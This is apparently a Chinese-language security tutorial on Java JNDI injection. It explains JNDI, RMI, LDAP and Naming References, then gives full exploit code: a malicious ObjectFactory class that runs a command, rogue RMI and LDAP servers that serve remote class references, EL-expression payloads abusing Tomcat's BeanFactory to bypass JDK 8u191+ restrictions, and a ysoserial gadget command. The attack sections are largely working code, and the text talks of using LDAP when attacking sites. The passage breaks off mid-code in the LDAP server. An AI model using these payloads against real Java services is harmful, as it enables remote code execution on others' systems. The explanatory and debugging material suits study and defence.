背景知识

JNDI Service Provider

JNDI 与 JNDI Service Provider 的关系类似于 Windows 中 SSPI 与 SSP 的关系。前者是统一抽象出来的接口,而后者是对接口的具体实现。如默认的 JNDI Service ProviderRMI/LDAP 等等。

ObjectFactory

每一个 Service Provider 可能配有多个 Object FactoryObject Factory 用于将 Naming Service(如 RMI/LDAP)中存储的数据转换为 Java 中可表达的数据,如 Java 中的对象或 Java 中的基本数据类型。 JNDI 的注入的问题就出在了可远程下载自定义的 ObjectFactory 类上。你如果有兴趣的话可以完整看一下 Service Provider 是如何与多个 ObjectFactory 进行交互的。

JNDI概述

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。 JNDI是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中,就像人的名字或DNS中的域名与IP的关系。 JNDI由JNDI API命名管理JNDI SPI(service provider interface)服务提供的接口组成。我们的应用可以通过JNDI的API去访问相关服务提供的接口

JDNI的服务是可以拓展的,可以从JNDI页面下载其他服务提供商,也可以从远程获得其他服务提供商 JDK包括以下命名/目录服务的服务:

  • 轻型目录访问协议(ldap)
  • 通用对象请求代理体系结构(CORBA),通用对象服务(COS)名称服务
  • Java远程方法调用(RMI)注册表
  • 域名服务(DNS)

Java命名和目录接口(JNDI)是一种Java API,类似一个索引中心,它允许客户端通过name发现和查找数据和对象。其应用场景比如:动态加载数据库配置文件,从而保持数据库代码不变动等。 代码格式如下:

//指定需要查找name名称
String jndiName= "Test";//初始化默认环境
Context context = new InitialContext();//查找该name的数据
DataSource ds = (DataSourse)context.lookup(jndiName);

这里的jndiName变量的值可以是上面的命名/目录服务列表里面的值,如果JNDI名称可控的话可能会被攻击。 那上面提到的命名目录是什么?

  • 命名服务:命名服务是一种简单的键值对绑定,可以通过键名检索值,RMI就是典型的命名服务
  • 目录服务:目录服务是命名服务的拓展。它与命名服务的区别在于它可以通过对象属性来检索对象

举个例子:比如你要在某个学校里里找某个人,那么会通过:年级->班级->姓名这种方式来查找,年级、班级、姓名这些就是某个人的属性,这种层级关系就很像目录关系,所以这种存储对象的方式就叫目录服务。LDAP是典型的目录服务

其实,仔细一琢磨就会感觉其实命名服务与目录服务的本质是一样的,都是通过键来查找对象,只不过目录服务的键要灵活且复杂一点。 在一开始很多人都会被jndi、rmi这些词汇搞的晕头转向,而且很多文章中提到了可以用jndi调用rmi,就更容易让人发昏了。我们只要知道jndi是对各种访问目录服务的逻辑进行了再封装,也就是以前我们访问rmi与ldap要写的代码差别很大,但是有了jndi这一层,我们就可以用jndi的方式来轻松访问rmi或者ldap服务,这样访问不同的服务的代码实现基本是一样的。

从图中可以看到jndi在访问rmi时只是传了一个键foo过去,然后rmi服务端返回了一个对象,访问ldap这种目录服务时,传过去的字符串比较复杂,包含了多个键值对,这些键值对就是对象的属性,LDAP将根据这些属性来判断到底返回哪个对象。

JNDI类

在Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:

//主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类;
javax.naming//主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.directory//在命名目录服务器中请求事件通知;
javax.naming.event//提供LDAP支持;
javax.naming.ldap//允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
javax.naming.spi

InitialContext类

在这JDK里面给的解释是构建初始上下文,简单来说就是获取初始目录环境。

构造方法

//构建一个初始上下文。
InitialContext() //构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy) //使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment) 
  • 实现代码
InitialContext initialContext = new InitialContext();

常用方法

//将名称绑定到对象。
bind(Name name, Object obj)
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name)
//检索命名对象。
lookup(String name)
//将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj)
//取消绑定命名对象。
unbind(String name)
  • 实现代码
package org.example;import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;public class Client
{public static void main( String[] args ) throws NamingException, RemoteException {String uri = "rmi://127.0.0.1:1099/test";InitialContext initialContext = new InitialContext();HelloInterface helloInterface = (HelloInterface) initialContext.lookup(uri);System.out.println(helloInterface.says("hello"));}
}

Reference类

该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。 在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。

构造方法

//为类名为“className”的对象构造一个新的引用。
Reference(String className)
//为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr)
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
Reference(String className, String factory, String factoryLocation)
  • 实现代码
String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);

在使用Reference时,我们可以直接将对象传入构造方法中,当被调用时,对象的方法就会被触发,创建Reference实例时几个比较关键的属性:

参数1:className - 远程加载时所使用的类名

参数2:classFactory - 加载的class中需要实例化类的名称

参数3:classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议

Reference类表示对存在于命名/目录系统以外的对象的引用。如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。 Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。 [补充](#JNDI Naming Reference)

常用方法

void add(int posn, RefAddr addr) 将地址添加到索引posn的地址列表中。
void add(RefAddr addr) 将地址添加到地址列表的末尾。
void clear() 从此引用中删除所有地址。
RefAddr get(int posn) 检索索引posn上的地址。
RefAddr get(String addrType) 检索地址类型为“addrType”的第一个地址。
Enumeration<RefAddr> getAll() 检索本参考文献中地址的列举。
String getClassName() 检索引用引用的对象的类名。
String getFactoryClassLocation() 检索此引用引用的对象的工厂位置。
String getFactoryClassName() 检索此引用引用对象的工厂的类名。
Object remove(int posn) 从地址列表中删除索引posn上的地址。
int size() 检索此引用中的地址数。
String toString() 生成此引用的字符串表示形式。 

JNDI代码实现

在JNDI中提供了绑定和查找的方法

  • bind(Name name, Object obj) :将名称绑定到对象中
  • lookup(String name): 通过名字检索执行的对象

实现过程

其实在JNDI的实现过程和RMI十分类似,就是在最后绑定和检索的时候有一点区别

  • 定义远程接口
  • 服务端实现远程接口
  • 服务端注册远程对象
  • 客户端调用接口

实现举例

HelloInterface(远程接口)

import java.rmi.Remote;
import java.rmi.RemoteException;public interface HelloInterface extends Remote {String says (String name) throws RemoteException;
}

HelloImpl(远程接口实现类)

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;public class HelloImpl extends UnicastRemoteObject implements HelloInterface{protected HelloImpl() throws RemoteException {}@Overridepublic String says(String name) throws RemoteException {return "test " + name;}
}

Server(服务端注册远程对象并绑定)

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.util.Properties;public class Server {public static void main(String[] args) throws RemoteException, AlreadyBoundException, NamingException {//配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常Properties env = new Properties();env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");//初始化环境InitialContext ctx = new InitialContext(env);// 创建一个注册表LocateRegistry.createRegistry(1099);// 远程调用对象HelloInterface hello = new HelloImpl();// 绑定ctx.bind("test", hello);}
}

Client(客户端远程调用)

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;public class Client
{public static void main( String[] args ) throws NamingException, RemoteException {//初始化环境InitialContext init = new InitialContext();//JNDI的方式获取远程对象HelloInterface hello = (HelloInterface) init.lookup("rmi://127.0.0.1:1099/test");// 调用方法System.out.println(hello.says("123"));}
}

JNDI动态协议转换

我们上面的demo提前配置了jndi的初始化环境,还配置了Context.PROVIDER_URL,这个属性指定了到哪里加载本地没有的类,所以,上面的demo中
init.lookup("rmi://127.0.0.1:1099/test")这一处代码改为init.lookup("test")也是没啥问题的。

动态协议转换

其实就是说即使提前配置了Context.PROVIDER_URL属性,当我们调用lookup()方法时,如果lookup方法的参数像demo中那样是一个uri地址,那么客户端就会去lookup()方法参数指定的uri中加载远程对象,而不是去Context.PROVIDER_URL设置的地址去加载对象(如果感兴趣可以跟一下源码,可以看到具体的实现)。 正是因为有这个特性,才导致当lookup()方法的参数可控时,攻击者可以通过提供一个恶意的url地址来控制受害者加载攻击者指定的恶意类。 但是你以为直接让受害者去攻击者指定的rmi注册表加载一个类回来就能完成攻击吗,是不行的,因为受害者本地没有攻击者提供的类的class文件,所以是调用不了方法的,所以我们需要借助接下来要提到的东西。

JNDI Naming Reference

Reference类表示对存在于命名/目录系统以外的对象的引用。如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。 Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。 在使用Reference时,我们可以直接将对象传入构造方法中,当被调用时,对象的方法就会被触发,创建Reference实例时几个比较关键的属性:

  • className:远程加载时所使用的类名;
  • classFactory:加载的class中需要实例化类的名称;
  • classFactoryLocation:远程加载类的地址,提供classes数据的地址可以是file/ftp/http等协议;

当然,要把一个对象绑定到RMI注册表中,这个对象需要继承UnicastRemoteObject,但是Reference没有继承它,所以我们还需要封装一下它,用 ReferenceWrapper 包裹一下Reference实例对象,这样就可以将其绑定到RMI注册表,并被远程访问到了

// 第一个参数是远程加载时所使用的类名
// 第二个参数是要加载的类的完整类名
// 第三个参数就是远程class文件存放的地址了
Reference refObj = new Reference("refClassName", "insClassName", "http://example.com:8888/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);

当有客户端通过**lookup("refObj")获取远程对象时,获取的是一个Reference存根(Stub),由于是Reference的存根,所以客户端会现在本地的classpath中去检查是否存在类refClassName,如果不存在则去指定的url(http://example.com:8888/refClassName.class)动态加载,并且调用insClassName无参构造函数**,所以可以在构造函数里写恶意代码。当然除了在无参构造函数中写利用代码,还可以利用java的 static代码块 来写恶意代码,因为static代码块的代码在class文件被加载过后就会立即执行,且只执行一次。

JNDI注入

JNDI注入原理

就是将恶意的Reference类绑定在RMI注册表中,其中恶意引用指向远程恶意的class文件当用户在JNDI客户端的lookup()函数参数外部可控或Reference类构造方法的classFactoryLocation参数外部可控时,会使用户的JNDI客户端访问RMI注册表中绑定的恶意Reference类,从而加载远程服务器上的恶意class文件在客户端本地执行,最终实现JNDI注入攻击导致远程代码执行

JNDI注入的利用条件

  • 客户端的lookup()方法的参数可控
  • 服务端在使用Reference类时,classFactoryLocation参数可控

上面两个都是在编写程序时可能存在的脆弱点(任意一个满足就行),除此之外,jdk版本在JNDI注入中也起着至关重要的作用,而且不同的攻击Payload对jdk的版本要求也不一致,这里就全部列出来:

  • JDK 6u45、7u21之后java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端JVM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
  • JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMICORBA协议使用远程codebase的选项,因此RMICORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
  • **JDK 6u211、7u201、8u191之后:**增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

可以看出RMI的Codebase限制明显比LDAP多,所以我们在日站的时候,最好也是用LDAP来进行注入。

JNDI注入攻击流程

  1. 攻击者通过可控url触发动态协议转换(rmi://attack:1090/Exploit)
  2. 受害者服务器原上下文环境被转换为rmi://attack:1090/Exploit
  3. 受害者服务器去rmi://attack:1090/Exploit请求绑定对象Exploit,攻击者实现准备好的RMI服务器返回一个ReferenceWrapper对象(Reference("Class1","Class2","http://evil:8080/"))
  4. 应用获取到ReferenceWrapper开始在本地查找Class1,发现无,则去请求http://evil:8080/Class2.class
  5. web服务器返回事先准备好的恶意.class文件,受害者服务器调用Class2的构造方法或者静态代码块的时候,恶意代码执行

JNDI注入举例

创建恶意类Evil(不能带package)

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.Hashtable;public class Evil implements ObjectFactory {    // 实现接口ObjectFactory,不然会报错,虽然不影响执行public Evil() throws IOException {  // 构造方法,加载时会自动调用exec("calc");}public static void exec(String cmd) throws IOException {Process runcmd = Runtime.getRuntime().exec(cmd);InputStreamReader inputStreamReader = new InputStreamReader(runcmd.getInputStream());BufferedReader bufferedReader = new BufferedReader(inputStreamReader);String tmp;while ((tmp = bufferedReader.readLine()) != null){System.out.println(tmp);}inputStreamReader.close();bufferedReader.close();}@Overridepublic Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {return null;}
}

常见RMIServer服务端,绑定恶意的Reference到rmi注册表

import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.io.IOException;
import java.rmi.registry.LocateRegistry;
import java.util.Properties;public class RMIServer {public static void main(String[] args) throws IOException, NamingException {//配置JNDI工厂和JNDI的url和端口。如果没有配置这些信息,会出现NoInitialContextException异常Properties env = new Properties();env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099");//初始化环境InitialContext ctx = new InitialContext(env);// 创建一个注册表LocateRegistry.createRegistry(1099);// 绑定恶意的Reference到rmi注册表// 注意,classFactoryLocation地址后面一定要加上/ 如果不加上/,那么则向web服务请求恶意字节码的时候,则会找不到该字节码Reference reference = new Reference("Evil", "Evil", "http://127.0.0.1:8888/");new ReferenceWrapper(reference);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);ctx.bind("evil", referenceWrapper);}
}

客户端远程调用evil对应类

import javax.naming.InitialContext;
import javax.naming.NamingException;public class RMIClient {public static void main(String[] args) throws NamingException {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", String.valueOf(true));   // 参考上面的利用条件,低版本不需要设置System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", String.valueOf(true));  // 参考上面的利用条件,低版本不需要设置//初始化环境InitialContext init = new InitialContext();// 远程调用evil,然后找不到服务端类Evil,就会调用http://127.0.0.1:8888/Evil.classinit.lookup("rmi://127.0.0.1:1099/evil");}
}

步骤

  • 启动RMI服务端

  • 编译Evil.javaEvil.class,并启动http服务

  • 客户端运行,远程调用evil

JNDI注入Debug

lookup下断点进行分析

先调用InitialContext.lookupgetURLOrDefaultInitCtx函数会分析name的协议头返回对应协议的环境对象,此处返回Context对象的子类rmiURLContext对象,然后在对应协议中去lookup搜索

然后就会调用GenericURLContext.lookup()方法,此处thisrmiURLContext类调用对应类的getRootURLContext类为解析RMI地址,不同协议调用这个函数,根据之前getURLOrDefaultInitCtx(name)返回对象的类型不同,执行不同的getRootURLContext,进入不同的协议路线。

跟进lookup,此处调用的是RegistryContext.lookup()

其中从RMI注册表中lookup查询到服务端中目标类的Reference后返回一个ReferenceWrapper_Stub类实例,该类实例就是客户端的存根、用于实现和服务端进行交互,最后调用decodeObject()函数来解析

然后跟进RegistryContext.decodeObject,先判断入参ReferenceWrapper_Stub类实例是否是RemoteReference接口实现类实例,而ReferenceWrapper_Stub类正是实现RemoteReference接口类的,因此通过判断调用getReference()来获取到ReferenceWrapper_Stub类实例中的Reference即我们在恶意RMI注册中绑定的恶意Reference;再往下调用NamingManager.getObjectInstance()来获取远程服务端上的类实例

继续跟NamingManager.getObjectInstance()

进入getObjectFactoryFromReference,到loadClass()时,就会向工厂请求恶意的class

然后看到了熟悉的newInstance()(实例化),我们写的Evil.java 只有一个构造函数,实例化之后,就会执行构造函数中的恶意代码。

实例化后:

继续向下跟进,因为getObjectFactoryFromReference()返回的类需要为ObjectFactory,所以这也就是我们之前在恶意类中实现了ObjectFactory这个接口,不然就是会报错,虽然说这并不影响我们的恶意代码的执行,毕竟我们执行恶意代码是在这之前。

绕过高版本JDK(8u191+)限制

由前面知道,在JDK 6u211、7u201、8u191、11.0.1之后,增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。 两种绕过方法如下:

  1. 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
  2. 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。

这两种方式都非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。 简单地说,在低版本JDK的JNDI注入中,主要利用的就是classFactoryLocation这个参数来实现远程加载类利用的。但是在高版本JDK中对classFactoryLocation这个途径实现了限制,但是对于classFactory这个参数即本地ClassPath中如果存在Gadget的话还是能够进行JNDI注入攻击的

首先了解一下一些基本概念,然后再分析这两种绕过方法。

关于Codebase

Oracle官方关于Codebase的说明:https://docs.oracle.com/javase/1.5.0/docs/guide/rmi/codebase.html

Codebase指定了Java程序在网络上远程加载类的路径。RMI机制中交互的数据是序列化形式传输的,但是传输的只是对象的数据内容,RMI本身并不会传递类的代码。当本地没有该对象的类定义时,RMI提供了一些方法可以远程加载类,也就是RMI动态加载类的特性。 当对象发送序列化数据时,会在序列化流中附加上Codebase的信息,这个信息告诉接收方到什么地方寻找该对象的执行代码。Codebase实际上是一个URL表,该URL上存放了接收方需要的类文件。在大多数情况下,你可以在命令行上通过属性 java.rmi.server.codebase 来设置Codebase。 例如,如果所需的类文件在Evil的根目录下,那么设置Codebase的命令行参数如下(如果你把类文件打包成了jar,那么设置Codebase时需要指定这个jar文件):

-Djava.rmi.server.codebase=http://url:8080/

当接收程序试图从该URL的Evil上下载类文件时,它会把类的包名转化成目录,在Codebase 的对应目录下查询类文件,如果你传递的是类文件 com.project.test ,那么接受方就会到下面的URL去下载类文件:

http://url:8080/com/project/test.class

关于JNDI Naming Reference的限制

如前文所述,JDK 7u21开始,java.rmi.server.useCodebaseOnly 默认值就为true,防止RMI客户端VM从其他Codebase地址上动态加载类。然而JNDI注入中的Reference Payload并不受useCodebaseOnly影响,因为它没有用到 RMI Class loading,它最终是通过URLClassLoader加载的远程类。

NamingManager.java

static ObjectFactory getObjectFactoryFromReference(Reference ref, String factoryName)throws IllegalAccessException,
InstantiationException,
MalformedURLException {Class<?> clas = null;// Try to use current class loadertry {clas = helper.loadClass(factoryName);} catch (ClassNotFoundException e) {// ignore and continue// e.printStackTrace();}// All other exceptions are passed up.// Not in class path; try to use codebaseString codebase;if (clas == null &&(codebase = ref.getFactoryClassLocation()) != null) {try {clas = helper.loadClass(factoryName, codebase);} catch (ClassNotFoundException e) {}}return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

代码中会先尝试在本地CLASSPATH中加载类,不行再从Codebase中加载,codebase的值是通过ref.getFactoryClassLocation()获得。

public Class<?> loadClass(String className, String codebase)throws ClassNotFoundException, MalformedURLException {ClassLoader parent = getContextClassLoader();ClassLoader cl =URLClassLoader.newInstance(getUrlArray(codebase), parent);return loadClass(className, cl);}

最后通过 VersionHelper12.loadClass()URLClassLoader 加载了远程class。所以java.rmi.server.useCodebaseOnly不会限制JNDI Reference的利用,有影响的是高版本JDK中的这几个系统属性:

  • com.sun.jndi.rmi.object.trustURLCodebase
  • com.sun.jndi.cosnaming.object.trustURLCodebase
  • com.sun.jndi.ldap.object.trustURLCodebase

绕过高版本JDK限制:利用本地Class作为Reference Factory

在高版本中(如:JDK8u191以上版本)虽然不能从远程加载恶意的Factory,但是我们依然可以在返回的Reference中指定Factory Class

  1. 这个工厂类必须在受害目标本地的CLASSPATH
  2. 工厂类必须实现 javax.naming.spi.ObjectFactory 接口
  3. 至少存在一个 getObjectInstance() 方法

org.apache.naming.factory.BeanFactory 刚好满足条件并且存在被利用的可能。org.apache.naming.factory.BeanFactory 存在于Tomcat依赖包中,所以使用也是非常广泛。 该类在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。

利用举例

根据beanFactory的代码逻辑,要求传入的ReferenceResourceRef类,这个情况下,目标Bean Class必须有一个无参构造方法,有public的setter方法且参数为一个String类型。事实上,这些setter不一定需要是set…开头的方法,根据org.apache.naming.factory.BeanFactory中的逻辑,我们可以把某个方法强制指定为setter。 然后大佬们找到了javax.el.ELProcessor可以作为目标Class。

pom.xml(双方均需要)
<dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-catalina</artifactId><version>8.5.0</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.el/com.springsource.org.apache.el -->
<dependency><groupId>org.apache.el</groupId><artifactId>com.springsource.org.apache.el</artifactId><version>7.0.26</version>
</dependency>
Server
import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;public class EL_Server {public static void main(String[] args) throws Exception {System.out.println("Creating evil RMI registry on port 1097");Registry registry = LocateRegistry.createRegistry(1097);//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactoryResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance coderef.add(new StringRefAddr("forceString", "x=eval"));//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windowsref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);registry.bind("Object", referenceWrapper);}
}
Client
import javax.naming.InitialContext;
import javax.naming.NamingException;public class EL_Client{public static void main(String[] args) throws NamingException {new InitialContext().lookup("rmi://127.0.0.1:1097/Object");}
}

几种变体的表达式

前面的恶意表达式就是通过反射的方式来实现命令执行的,本地测试有如下几种变体,原理都是基于反射调用任意类方法:

import javax.el.ELProcessor;public class Test {public static void main(String[] args) {String poc1 = "''.getClass().forName('javax.script.ScriptEngineManager')" +".newInstance().getEngineByName('nashorn')" +".eval(\"s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);\")";String poc2 = "''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass())" +".invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime')" +".invoke(null),'calc.exe')}";String poc3 = "''.getClass().forName('javax.script.ScriptEngineManager')" +".newInstance().getEngineByName('JavaScript')" +".eval(\"java.lang.Runtime.getRuntime().exec('calc')\")";new ELProcessor().eval(poc1);}
}

Debug分析

因为org.apache.naming.factory.BeanFactory 类在 getObjectInstance() 中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。所以重点分析getObjectInstance()

首先RegistryContext.lookup对RMI registry发请求,反序列获取到ReferenceWrapper_Stub,然后把反序列得到的ReferenceWrapper_Stub传给decodeObject()

跟进decodeObject,首先给获取到的var1 ReferenceWrapper_Stub调用getReference()方法,getReference方法通过获取ReferenceWrapper_Stubref属性然后发请求, 反序列请求结果得到真正绑定到RMI Registry上的对象(ResourceRef), 然后传给NamingManager.getObjectInstance()方法。

首先类型转换将object转换为Reference对象

然后ref.getFactoryClassName() 获取FactoryClassName,返回的是Reference对象的classFactory属性,然后传递到getObjectFactoryFromReference中,然后loadClass加载我们传入的org.apache.naming.factory.BeanFactory类, 再newInstance实例化该类并将其转换成ObjectFactory类型。

然后直接调用ObjectFactory接口实现类实例的getObjectInstance()函数,这里是BeanFactory类实例的getObjectInstance()函数 ,然后走出getObjectFactoryFromReference()函数

跟进BeanFactory.getObjectInstance,会判断obj参数是否是ResourceRef类实例,是的话代码才会往下走,这就是为什么我们在恶意RMI服务端中构造Reference类实例的时候必须要用Reference类的子类ResourceRef类来创建实例

接着获取Bean类为javax.el.ELProcessor后,实例化该类并获取其中的forceString类型的内容,其值是我们构造的x=eval内容:

继续往下调试可以看到,查找forceString的内容中是否存在”=”号,不存在的话就调用属性的默认setter方法,存在的话就取键值、其中键是属性名而对应的值是其指定的setter方法。如此,**之前设置的forceString的值就可以强制将x属性的setter方法转换为调用我们指定的eval()方法了,这是BeanFactory类能进行利用的关键点!**之后,就是获取beanClassjavax.el.ELProcessor类的eval()方法并和x属性一同缓存到forced这个HashMap中

接着是多个do while语句来遍历获取ResourceRef类实例addr属性的元素,当获取到addrType为x的元素时退出当前所有循环,然后调用getContent()函数来获取x属性对应的contents即恶意表达式。这里就是恶意RMI服务端中ResourceRef类实例添加的第二个元素

获取到类型为x对应的内容为恶意表达式后,从前面的缓存forced中取出key为x的值即javax.el.ELProcessor类的eval()方法并赋值给method变量,最后就是通过method.invoke()即反射调用的来执行恶意的EL表达式。

总结

  • 这种方法是从本地ClassPath中寻找可能存在Tomcat相关依赖包来进行触发利用,已知的类是org.apache.naming.factory.BeanFactory
  • 由于org.apache.naming.factory.BeanFactory类的getObjectInstance()方法会判断是否为ResourceRef类实例,因此在RMI服务端绑定的Reference类实例中必须为Reference类的子类ResourceRef类实例,这里resourceClass选择的也是在Tomcat环境中存在的javax.el.ELProcessor类;
  • ResourceRef类实例分别添加了两次StringRefAddr类实例元素,第一次是类型为forceString、内容为x=eval的StringRefAddr类实例,这里看org.apache.naming.factory.BeanFactory类的getObjectInstance()方法源码发现,程序会判断是否存在=号,若存在则将x属性的默认setter方法设置为我们eval;第二次是类型为x、内容为恶意表达式的StringRefAddr类实例,这里是跟前面的x属性关联起来,x属性的setter方法是eval(),而现在它的内容为恶意表达式,这样就能串起来调用javax.el.ELProcessor类的eval()函数执行恶意表达式从而达到攻击利用的目的

绕过高版本JDK限制:利用LDAP返回序列化数据,触发本地Gadget

LDAP服务端除了支持JNDI Reference这种利用方式外,还支持直接返回一个序列化的对象。如果Java对象的javaSerializedData属性值不为空,则客户端的obj.decodeObject()方法就会对这个字段的内容进行反序列化
如果服务端ClassPath中存在反序列化漏洞多功能利用Gadget如CommonsCollections库,那么就可以结合该Gadget实现反序列化漏洞攻击。

利用举例

生成POC

假设目标系统中存在着有漏洞的CommonsCollections库,使用ysoserial生成一个CommonsCollections的利用Payload

java -jar ysoserial.jar CommonsCollections6 "calc" | base64
LDAP Server
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;public class LDAP_Server{private static final String LDAP_BASE = "dc=example,dc=com";public static void main (String[] args) {String url = "http://127.0.0.1:8888/#Exploit";int port = 1389;try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen",InetAddress.getByName("0.0.0.0"),port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);System.out.println("Listening on 0.0.0.0:" + port);ds.startListening();}catch ( Exception e ) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;public OperationInterceptor ( URL cb ) {this.codebase = cb;}/*** {@inheritDoc}** @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)*/@Overridepublic void processSearchResult (InMemoryInterceptedSearchResult result ) {String base = result.getRequest().getBaseDN();Entry e = new Entry(base);try {sendResult(result, base, e);}catch ( Exception e1 ) {e1.printStackTrace();}}protected void sendResult ( InMemoryInterceptedSearchResult 